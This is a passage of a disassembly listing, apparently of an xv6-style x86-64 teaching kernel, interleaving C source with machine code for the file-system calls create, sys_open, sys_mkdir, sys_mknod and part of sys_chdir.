ffff800000108da3: 48 89 c7 mov %rax,%rdi
ffff800000108da6: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000108dad: 80 ff ff
ffff800000108db0: ff d0 callq *%rax
if(type == T_FILE && ip->type == T_FILE)
ffff800000108db2: 66 83 7d c4 02 cmpw $0x2,-0x3c(%rbp)
ffff800000108db7: 75 1a jne ffff800000108dd3 <create+0xd2>
ffff800000108db9: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108dbd: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff800000108dc4: 66 83 f8 02 cmp $0x2,%ax
ffff800000108dc8: 75 09 jne ffff800000108dd3 <create+0xd2>
return ip;
ffff800000108dca: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108dce: e9 9a 01 00 00 jmpq ffff800000108f6d <create+0x26c>
iunlockput(ip);
ffff800000108dd3: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108dd7: 48 89 c7 mov %rax,%rdi
ffff800000108dda: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108de1: 80 ff ff
ffff800000108de4: ff d0 callq *%rax
return 0;
ffff800000108de6: b8 00 00 00 00 mov $0x0,%eax
ffff800000108deb: e9 7d 01 00 00 jmpq ffff800000108f6d <create+0x26c>
}
if((ip = ialloc(dp->dev, type)) == 0)
ffff800000108df0: 0f bf 55 c4 movswl -0x3c(%rbp),%edx
ffff800000108df4: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108df8: 8b 00 mov (%rax),%eax
ffff800000108dfa: 89 d6 mov %edx,%esi
ffff800000108dfc: 89 c7 mov %eax,%edi
ffff800000108dfe: 48 b8 21 25 10 00 00 movabs $0xffff800000102521,%rax
ffff800000108e05: 80 ff ff
ffff800000108e08: ff d0 callq *%rax
ffff800000108e0a: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff800000108e0e: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff800000108e13: 75 16 jne ffff800000108e2b <create+0x12a>
panic("create: ialloc");
ffff800000108e15: 48 bf 74 c9 10 00 00 movabs $0xffff80000010c974,%rdi
ffff800000108e1c: 80 ff ff
ffff800000108e1f: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000108e26: 80 ff ff
ffff800000108e29: ff d0 callq *%rax
ilock(ip);
ffff800000108e2b: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108e2f: 48 89 c7 mov %rax,%rdi
ffff800000108e32: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff800000108e39: 80 ff ff
ffff800000108e3c: ff d0 callq *%rax
ip->major = major;
ffff800000108e3e: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108e42: 0f b7 55 c0 movzwl -0x40(%rbp),%edx
ffff800000108e46: 66 89 90 96 00 00 00 mov %dx,0x96(%rax)
ip->minor = minor;
ffff800000108e4d: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108e51: 0f b7 55 bc movzwl -0x44(%rbp),%edx
ffff800000108e55: 66 89 90 98 00 00 00 mov %dx,0x98(%rax)
ip->nlink = 1;
ffff800000108e5c: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108e60: 66 c7 80 9a 00 00 00 movw $0x1,0x9a(%rax)
ffff800000108e67: 01 00
iupdate(ip);
ffff800000108e69: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108e6d: 48 89 c7 mov %rax,%rdi
ffff800000108e70: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000108e77: 80 ff ff
ffff800000108e7a: ff d0 callq *%rax
if(type == T_DIR){ // Create . and .. entries.
ffff800000108e7c: 66 83 7d c4 01 cmpw $0x1,-0x3c(%rbp)
ffff800000108e81: 0f 85 94 00 00 00 jne ffff800000108f1b <create+0x21a>
dp->nlink++; // for ".."
ffff800000108e87: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108e8b: 0f b7 80 9a 00 00 00 movzwl 0x9a(%rax),%eax
ffff800000108e92: 83 c0 01 add $0x1,%eax
ffff800000108e95: 89 c2 mov %eax,%edx
ffff800000108e97: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108e9b: 66 89 90 9a 00 00 00 mov %dx,0x9a(%rax)
iupdate(dp);
ffff800000108ea2: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108ea6: 48 89 c7 mov %rax,%rdi
ffff800000108ea9: 48 b8 4a 26 10 00 00 movabs $0xffff80000010264a,%rax
ffff800000108eb0: 80 ff ff
ffff800000108eb3: ff d0 callq *%rax
// No ip->nlink++ for ".": avoid cyclic ref count.
if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0)
ffff800000108eb5: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108eb9: 8b 50 04 mov 0x4(%rax),%edx
ffff800000108ebc: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108ec0: 48 be 4e c9 10 00 00 movabs $0xffff80000010c94e,%rsi
ffff800000108ec7: 80 ff ff
ffff800000108eca: 48 89 c7 mov %rax,%rdi
ffff800000108ecd: 48 b8 6f 34 10 00 00 movabs $0xffff80000010346f,%rax
ffff800000108ed4: 80 ff ff
ffff800000108ed7: ff d0 callq *%rax
ffff800000108ed9: 85 c0 test %eax,%eax
ffff800000108edb: 78 28 js ffff800000108f05 <create+0x204>
ffff800000108edd: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108ee1: 8b 50 04 mov 0x4(%rax),%edx
ffff800000108ee4: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108ee8: 48 be 50 c9 10 00 00 movabs $0xffff80000010c950,%rsi
ffff800000108eef: 80 ff ff
ffff800000108ef2: 48 89 c7 mov %rax,%rdi
ffff800000108ef5: 48 b8 6f 34 10 00 00 movabs $0xffff80000010346f,%rax
ffff800000108efc: 80 ff ff
ffff800000108eff: ff d0 callq *%rax
ffff800000108f01: 85 c0 test %eax,%eax
ffff800000108f03: 79 16 jns ffff800000108f1b <create+0x21a>
panic("create dots");
ffff800000108f05: 48 bf 83 c9 10 00 00 movabs $0xffff80000010c983,%rdi
ffff800000108f0c: 80 ff ff
ffff800000108f0f: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000108f16: 80 ff ff
ffff800000108f19: ff d0 callq *%rax
}
if(dirlink(dp, name, ip->inum) < 0)
ffff800000108f1b: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000108f1f: 8b 50 04 mov 0x4(%rax),%edx
ffff800000108f22: 48 8d 4d de lea -0x22(%rbp),%rcx
ffff800000108f26: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108f2a: 48 89 ce mov %rcx,%rsi
ffff800000108f2d: 48 89 c7 mov %rax,%rdi
ffff800000108f30: 48 b8 6f 34 10 00 00 movabs $0xffff80000010346f,%rax
ffff800000108f37: 80 ff ff
ffff800000108f3a: ff d0 callq *%rax
ffff800000108f3c: 85 c0 test %eax,%eax
ffff800000108f3e: 79 16 jns ffff800000108f56 <create+0x255>
panic("create: dirlink");
ffff800000108f40: 48 bf 8f c9 10 00 00 movabs $0xffff80000010c98f,%rdi
ffff800000108f47: 80 ff ff
ffff800000108f4a: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff800000108f51: 80 ff ff
ffff800000108f54: ff d0 callq *%rax
iunlockput(dp);
ffff800000108f56: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000108f5a: 48 89 c7 mov %rax,%rdi
ffff800000108f5d: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000108f64: 80 ff ff
ffff800000108f67: ff d0 callq *%rax
return ip;
ffff800000108f69: 48 8b 45 f0 mov -0x10(%rbp),%rax
}
ffff800000108f6d: c9 leaveq
ffff800000108f6e: c3 retq
ffff800000108f6f <sys_open>:
int
sys_open(void)
{
ffff800000108f6f: f3 0f 1e fa endbr64
ffff800000108f73: 55 push %rbp
ffff800000108f74: 48 89 e5 mov %rsp,%rbp
ffff800000108f77: 48 83 ec 30 sub $0x30,%rsp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
ffff800000108f7b: 48 8d 45 e0 lea -0x20(%rbp),%rax
ffff800000108f7f: 48 89 c6 mov %rax,%rsi
ffff800000108f82: bf 00 00 00 00 mov $0x0,%edi
ffff800000108f87: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff800000108f8e: 80 ff ff
ffff800000108f91: ff d0 callq *%rax
ffff800000108f93: 85 c0 test %eax,%eax
ffff800000108f95: 78 1c js ffff800000108fb3 <sys_open+0x44>
ffff800000108f97: 48 8d 45 dc lea -0x24(%rbp),%rax
ffff800000108f9b: 48 89 c6 mov %rax,%rsi
ffff800000108f9e: bf 01 00 00 00 mov $0x1,%edi
ffff800000108fa3: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff800000108faa: 80 ff ff
ffff800000108fad: ff d0 callq *%rax
ffff800000108faf: 85 c0 test %eax,%eax
ffff800000108fb1: 79 0a jns ffff800000108fbd <sys_open+0x4e>
return -1;
ffff800000108fb3: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000108fb8: e9 fb 01 00 00 jmpq ffff8000001091b8 <sys_open+0x249>
begin_op();
ffff800000108fbd: b8 00 00 00 00 mov $0x0,%eax
ffff800000108fc2: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff800000108fc9: 80 ff ff
ffff800000108fcc: ff d2 callq *%rdx
if(omode & O_CREATE){
ffff800000108fce: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000108fd1: 25 00 02 00 00 and $0x200,%eax
ffff800000108fd6: 85 c0 test %eax,%eax
ffff800000108fd8: 74 4c je ffff800000109026 <sys_open+0xb7>
ip = create(path, T_FILE, 0, 0);
ffff800000108fda: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff800000108fde: b9 00 00 00 00 mov $0x0,%ecx
ffff800000108fe3: ba 00 00 00 00 mov $0x0,%edx
ffff800000108fe8: be 02 00 00 00 mov $0x2,%esi
ffff800000108fed: 48 89 c7 mov %rax,%rdi
ffff800000108ff0: 48 b8 01 8d 10 00 00 movabs $0xffff800000108d01,%rax
ffff800000108ff7: 80 ff ff
ffff800000108ffa: ff d0 callq *%rax
ffff800000108ffc: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(ip == 0){
ffff800000109000: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000109005: 0f 85 ad 00 00 00 jne ffff8000001090b8 <sys_open+0x149>
end_op();
ffff80000010900b: b8 00 00 00 00 mov $0x0,%eax
ffff800000109010: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000109017: 80 ff ff
ffff80000010901a: ff d2 callq *%rdx
return -1;
ffff80000010901c: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000109021: e9 92 01 00 00 jmpq ffff8000001091b8 <sys_open+0x249>
}
} else {
if((ip = namei(path)) == 0){
ffff800000109026: 48 8b 45 e0 mov -0x20(%rbp),%rax
ffff80000010902a: 48 89 c7 mov %rax,%rdi
ffff80000010902d: 48 b8 ff 37 10 00 00 movabs $0xffff8000001037ff,%rax
ffff800000109034: 80 ff ff
ffff800000109037: ff d0 callq *%rax
ffff800000109039: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff80000010903d: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000109042: 75 1b jne ffff80000010905f <sys_open+0xf0>
end_op();
ffff800000109044: b8 00 00 00 00 mov $0x0,%eax
ffff800000109049: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000109050: 80 ff ff
ffff800000109053: ff d2 callq *%rdx
return -1;
ffff800000109055: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010905a: e9 59 01 00 00 jmpq ffff8000001091b8 <sys_open+0x249>
}
ilock(ip);
ffff80000010905f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109063: 48 89 c7 mov %rax,%rdi
ffff800000109066: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff80000010906d: 80 ff ff
ffff800000109070: ff d0 callq *%rax
if(ip->type == T_DIR && omode != O_RDONLY){
ffff800000109072: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109076: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff80000010907d: 66 83 f8 01 cmp $0x1,%ax
ffff800000109081: 75 35 jne ffff8000001090b8 <sys_open+0x149>
ffff800000109083: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000109086: 85 c0 test %eax,%eax
ffff800000109088: 74 2e je ffff8000001090b8 <sys_open+0x149>
iunlockput(ip);
ffff80000010908a: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010908e: 48 89 c7 mov %rax,%rdi
ffff800000109091: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000109098: 80 ff ff
ffff80000010909b: ff d0 callq *%rax
end_op();
ffff80000010909d: b8 00 00 00 00 mov $0x0,%eax
ffff8000001090a2: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff8000001090a9: 80 ff ff
ffff8000001090ac: ff d2 callq *%rdx
return -1;
ffff8000001090ae: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001090b3: e9 00 01 00 00 jmpq ffff8000001091b8 <sys_open+0x249>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
ffff8000001090b8: 48 b8 84 1b 10 00 00 movabs $0xffff800000101b84,%rax
ffff8000001090bf: 80 ff ff
ffff8000001090c2: ff d0 callq *%rax
ffff8000001090c4: 48 89 45 f0 mov %rax,-0x10(%rbp)
ffff8000001090c8: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff8000001090cd: 74 1c je ffff8000001090eb <sys_open+0x17c>
ffff8000001090cf: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001090d3: 48 89 c7 mov %rax,%rdi
ffff8000001090d6: 48 b8 97 84 10 00 00 movabs $0xffff800000108497,%rax
ffff8000001090dd: 80 ff ff
ffff8000001090e0: ff d0 callq *%rax
ffff8000001090e2: 89 45 ec mov %eax,-0x14(%rbp)
ffff8000001090e5: 83 7d ec 00 cmpl $0x0,-0x14(%rbp)
ffff8000001090e9: 79 48 jns ffff800000109133 <sys_open+0x1c4>
if(f)
ffff8000001090eb: 48 83 7d f0 00 cmpq $0x0,-0x10(%rbp)
ffff8000001090f0: 74 13 je ffff800000109105 <sys_open+0x196>
fileclose(f);
ffff8000001090f2: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001090f6: 48 89 c7 mov %rax,%rdi
ffff8000001090f9: 48 b8 8e 1c 10 00 00 movabs $0xffff800000101c8e,%rax
ffff800000109100: 80 ff ff
ffff800000109103: ff d0 callq *%rax
iunlockput(ip);
ffff800000109105: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109109: 48 89 c7 mov %rax,%rdi
ffff80000010910c: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000109113: 80 ff ff
ffff800000109116: ff d0 callq *%rax
end_op();
ffff800000109118: b8 00 00 00 00 mov $0x0,%eax
ffff80000010911d: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000109124: 80 ff ff
ffff800000109127: ff d2 callq *%rdx
return -1;
ffff800000109129: b8 ff ff ff ff mov $0xffffffff,%eax
ffff80000010912e: e9 85 00 00 00 jmpq ffff8000001091b8 <sys_open+0x249>
}
iunlock(ip);
ffff800000109133: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000109137: 48 89 c7 mov %rax,%rdi
ffff80000010913a: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000109141: 80 ff ff
ffff800000109144: ff d0 callq *%rax
end_op();
ffff800000109146: b8 00 00 00 00 mov $0x0,%eax
ffff80000010914b: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000109152: 80 ff ff
ffff800000109155: ff d2 callq *%rdx
f->type = FD_INODE;
ffff800000109157: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff80000010915b: c7 00 02 00 00 00 movl $0x2,(%rax)
f->ip = ip;
ffff800000109161: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000109165: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff800000109169: 48 89 50 18 mov %rdx,0x18(%rax)
f->off = 0;
ffff80000010916d: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000109171: c7 40 20 00 00 00 00 movl $0x0,0x20(%rax)
f->readable = !(omode & O_WRONLY);
ffff800000109178: 8b 45 dc mov -0x24(%rbp),%eax
ffff80000010917b: 83 e0 01 and $0x1,%eax
ffff80000010917e: 85 c0 test %eax,%eax
ffff800000109180: 0f 94 c0 sete %al
ffff800000109183: 89 c2 mov %eax,%edx
ffff800000109185: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000109189: 88 50 08 mov %dl,0x8(%rax)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
ffff80000010918c: 8b 45 dc mov -0x24(%rbp),%eax
ffff80000010918f: 83 e0 01 and $0x1,%eax
ffff800000109192: 85 c0 test %eax,%eax
ffff800000109194: 75 0a jne ffff8000001091a0 <sys_open+0x231>
ffff800000109196: 8b 45 dc mov -0x24(%rbp),%eax
ffff800000109199: 83 e0 02 and $0x2,%eax
ffff80000010919c: 85 c0 test %eax,%eax
ffff80000010919e: 74 07 je ffff8000001091a7 <sys_open+0x238>
ffff8000001091a0: b8 01 00 00 00 mov $0x1,%eax
ffff8000001091a5: eb 05 jmp ffff8000001091ac <sys_open+0x23d>
ffff8000001091a7: b8 00 00 00 00 mov $0x0,%eax
ffff8000001091ac: 89 c2 mov %eax,%edx
ffff8000001091ae: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001091b2: 88 50 09 mov %dl,0x9(%rax)
return fd;
ffff8000001091b5: 8b 45 ec mov -0x14(%rbp),%eax
}
ffff8000001091b8: c9 leaveq
ffff8000001091b9: c3 retq
ffff8000001091ba <sys_mkdir>:
int
sys_mkdir(void)
{
ffff8000001091ba: f3 0f 1e fa endbr64
ffff8000001091be: 55 push %rbp
ffff8000001091bf: 48 89 e5 mov %rsp,%rbp
ffff8000001091c2: 48 83 ec 10 sub $0x10,%rsp
char *path;
struct inode *ip;
begin_op();
ffff8000001091c6: b8 00 00 00 00 mov $0x0,%eax
ffff8000001091cb: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff8000001091d2: 80 ff ff
ffff8000001091d5: ff d2 callq *%rdx
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
ffff8000001091d7: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff8000001091db: 48 89 c6 mov %rax,%rsi
ffff8000001091de: bf 00 00 00 00 mov $0x0,%edi
ffff8000001091e3: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff8000001091ea: 80 ff ff
ffff8000001091ed: ff d0 callq *%rax
ffff8000001091ef: 85 c0 test %eax,%eax
ffff8000001091f1: 78 2d js ffff800000109220 <sys_mkdir+0x66>
ffff8000001091f3: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001091f7: b9 00 00 00 00 mov $0x0,%ecx
ffff8000001091fc: ba 00 00 00 00 mov $0x0,%edx
ffff800000109201: be 01 00 00 00 mov $0x1,%esi
ffff800000109206: 48 89 c7 mov %rax,%rdi
ffff800000109209: 48 b8 01 8d 10 00 00 movabs $0xffff800000108d01,%rax
ffff800000109210: 80 ff ff
ffff800000109213: ff d0 callq *%rax
ffff800000109215: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000109219: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff80000010921e: 75 18 jne ffff800000109238 <sys_mkdir+0x7e>
end_op();
ffff800000109220: b8 00 00 00 00 mov $0x0,%eax
ffff800000109225: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff80000010922c: 80 ff ff
ffff80000010922f: ff d2 callq *%rdx
return -1;
ffff800000109231: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000109236: eb 29 jmp ffff800000109261 <sys_mkdir+0xa7>
}
iunlockput(ip);
ffff800000109238: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010923c: 48 89 c7 mov %rax,%rdi
ffff80000010923f: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000109246: 80 ff ff
ffff800000109249: ff d0 callq *%rax
end_op();
ffff80000010924b: b8 00 00 00 00 mov $0x0,%eax
ffff800000109250: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000109257: 80 ff ff
ffff80000010925a: ff d2 callq *%rdx
return 0;
ffff80000010925c: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000109261: c9 leaveq
ffff800000109262: c3 retq
ffff800000109263 <sys_mknod>:
int
sys_mknod(void)
{
ffff800000109263: f3 0f 1e fa endbr64
ffff800000109267: 55 push %rbp
ffff800000109268: 48 89 e5 mov %rsp,%rbp
ffff80000010926b: 48 83 ec 20 sub $0x20,%rsp
struct inode *ip;
char *path;
int major, minor;
begin_op();
ffff80000010926f: b8 00 00 00 00 mov $0x0,%eax
ffff800000109274: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff80000010927b: 80 ff ff
ffff80000010927e: ff d2 callq *%rdx
if((argstr(0, &path)) < 0 ||
ffff800000109280: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff800000109284: 48 89 c6 mov %rax,%rsi
ffff800000109287: bf 00 00 00 00 mov $0x0,%edi
ffff80000010928c: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff800000109293: 80 ff ff
ffff800000109296: ff d0 callq *%rax
ffff800000109298: 85 c0 test %eax,%eax
ffff80000010929a: 78 67 js ffff800000109303 <sys_mknod+0xa0>
argint(1, &major) < 0 ||
ffff80000010929c: 48 8d 45 ec lea -0x14(%rbp),%rax
ffff8000001092a0: 48 89 c6 mov %rax,%rsi
ffff8000001092a3: bf 01 00 00 00 mov $0x1,%edi
ffff8000001092a8: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff8000001092af: 80 ff ff
ffff8000001092b2: ff d0 callq *%rax
if((argstr(0, &path)) < 0 ||
ffff8000001092b4: 85 c0 test %eax,%eax
ffff8000001092b6: 78 4b js ffff800000109303 <sys_mknod+0xa0>
argint(2, &minor) < 0 ||
ffff8000001092b8: 48 8d 45 e8 lea -0x18(%rbp),%rax
ffff8000001092bc: 48 89 c6 mov %rax,%rsi
ffff8000001092bf: bf 02 00 00 00 mov $0x2,%edi
ffff8000001092c4: 48 b8 a0 81 10 00 00 movabs $0xffff8000001081a0,%rax
ffff8000001092cb: 80 ff ff
ffff8000001092ce: ff d0 callq *%rax
argint(1, &major) < 0 ||
ffff8000001092d0: 85 c0 test %eax,%eax
ffff8000001092d2: 78 2f js ffff800000109303 <sys_mknod+0xa0>
(ip = create(path, T_DEV, major, minor)) == 0){
ffff8000001092d4: 8b 45 e8 mov -0x18(%rbp),%eax
ffff8000001092d7: 0f bf c8 movswl %ax,%ecx
ffff8000001092da: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001092dd: 0f bf d0 movswl %ax,%edx
ffff8000001092e0: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff8000001092e4: be 03 00 00 00 mov $0x3,%esi
ffff8000001092e9: 48 89 c7 mov %rax,%rdi
ffff8000001092ec: 48 b8 01 8d 10 00 00 movabs $0xffff800000108d01,%rax
ffff8000001092f3: 80 ff ff
ffff8000001092f6: ff d0 callq *%rax
ffff8000001092f8: 48 89 45 f8 mov %rax,-0x8(%rbp)
argint(2, &minor) < 0 ||
ffff8000001092fc: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff800000109301: 75 18 jne ffff80000010931b <sys_mknod+0xb8>
end_op();
ffff800000109303: b8 00 00 00 00 mov $0x0,%eax
ffff800000109308: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff80000010930f: 80 ff ff
ffff800000109312: ff d2 callq *%rdx
return -1;
ffff800000109314: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000109319: eb 29 jmp ffff800000109344 <sys_mknod+0xe1>
}
iunlockput(ip);
ffff80000010931b: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010931f: 48 89 c7 mov %rax,%rdi
ffff800000109322: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff800000109329: 80 ff ff
ffff80000010932c: ff d0 callq *%rax
end_op();
ffff80000010932e: b8 00 00 00 00 mov $0x0,%eax
ffff800000109333: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff80000010933a: 80 ff ff
ffff80000010933d: ff d2 callq *%rdx
return 0;
ffff80000010933f: b8 00 00 00 00 mov $0x0,%eax
}
ffff800000109344: c9 leaveq
ffff800000109345: c3 retq
ffff800000109346 <sys_chdir>:
int
sys_chdir(void)
{
ffff800000109346: f3 0f 1e fa endbr64
ffff80000010934a: 55 push %rbp
ffff80000010934b: 48 89 e5 mov %rsp,%rbp
ffff80000010934e: 48 83 ec 10 sub $0x10,%rsp
char *path;
struct inode *ip;
begin_op();
ffff800000109352: b8 00 00 00 00 mov $0x0,%eax
ffff800000109357: 48 ba ab 52 10 00 00 movabs $0xffff8000001052ab,%rdx
ffff80000010935e: 80 ff ff
ffff800000109361: ff d2 callq *%rdx
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
ffff800000109363: 48 8d 45 f0 lea -0x10(%rbp),%rax
ffff800000109367: 48 89 c6 mov %rax,%rsi
ffff80000010936a: bf 00 00 00 00 mov $0x0,%edi
ffff80000010936f: 48 b8 99 82 10 00 00 movabs $0xffff800000108299,%rax
ffff800000109376: 80 ff ff
ffff800000109379: ff d0 callq *%rax
ffff80000010937b: 85 c0 test %eax,%eax
ffff80000010937d: 78 1e js ffff80000010939d <sys_chdir+0x57>
ffff80000010937f: 48 8b 45 f0 mov -0x10(%rbp),%rax
ffff800000109383: 48 89 c7 mov %rax,%rdi
ffff800000109386: 48 b8 ff 37 10 00 00 movabs $0xffff8000001037ff,%rax
ffff80000010938d: 80 ff ff
ffff800000109390: ff d0 callq *%rax
ffff800000109392: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000109396: 48 83 7d f8 00 cmpq $0x0,-0x8(%rbp)
ffff80000010939b: 75 1b jne ffff8000001093b8 <sys_chdir+0x72>
end_op();
ffff80000010939d: b8 00 00 00 00 mov $0x0,%eax
ffff8000001093a2: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff8000001093a9: 80 ff ff
ffff8000001093ac: ff d2 callq *%rdx
return -1;
ffff8000001093ae: b8 ff ff ff ff mov $0xffffffff,%eax
ffff8000001093b3: e9 af 00 00 00 jmpq ffff800000109467 <sys_chdir+0x121>
}
ilock(ip);
ffff8000001093b8: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001093bc: 48 89 c7 mov %rax,%rdi
ffff8000001093bf: 48 b8 e8 28 10 00 00 movabs $0xffff8000001028e8,%rax
ffff8000001093c6: 80 ff ff
ffff8000001093c9: ff d0 callq *%rax
if(ip->type != T_DIR){
ffff8000001093cb: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001093cf: 0f b7 80 94 00 00 00 movzwl 0x94(%rax),%eax
ffff8000001093d6: 66 83 f8 01 cmp $0x1,%ax
ffff8000001093da: 74 2b je ffff800000109407 <sys_chdir+0xc1>
iunlockput(ip);
ffff8000001093dc: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001093e0: 48 89 c7 mov %rax,%rdi
ffff8000001093e3: 48 b8 d8 2b 10 00 00 movabs $0xffff800000102bd8,%rax
ffff8000001093ea: 80 ff ff
ffff8000001093ed: ff d0 callq *%rax
end_op();
ffff8000001093ef: b8 00 00 00 00 mov $0x0,%eax
ffff8000001093f4: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff8000001093fb: 80 ff ff
ffff8000001093fe: ff d2 callq *%rdx
return -1;
ffff800000109400: b8 ff ff ff ff mov $0xffffffff,%eax
ffff800000109405: eb 60 jmp ffff800000109467 <sys_chdir+0x121>
}
iunlock(ip);
ffff800000109407: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010940b: 48 89 c7 mov %rax,%rdi
ffff80000010940e: 48 b8 7d 2a 10 00 00 movabs $0xffff800000102a7d,%rax
ffff800000109415: 80 ff ff
ffff800000109418: ff d0 callq *%rax
iput(proc->cwd);
ffff80000010941a: 48 c7 c0 f8 ff ff ff mov $0xfffffffffffffff8,%rax
ffff800000109421: 64 48 8b 00 mov %fs:(%rax),%rax
ffff800000109425: 48 8b 80 c8 00 00 00 mov 0xc8(%rax),%rax
ffff80000010942c: 48 89 c7 mov %rax,%rdi
ffff80000010942f: 48 b8 ea 2a 10 00 00 movabs $0xffff800000102aea,%rax
ffff800000109436: 80 ff ff
ffff800000109439: ff d0 callq *%rax
end_op();
ffff80000010943b: b8 00 00 00 00 mov $0x0,%eax
ffff800000109440: 48 ba 85 53 10 00 00 movabs $0xffff800000105385,%rdx
ffff800000109447: 80 ff ff
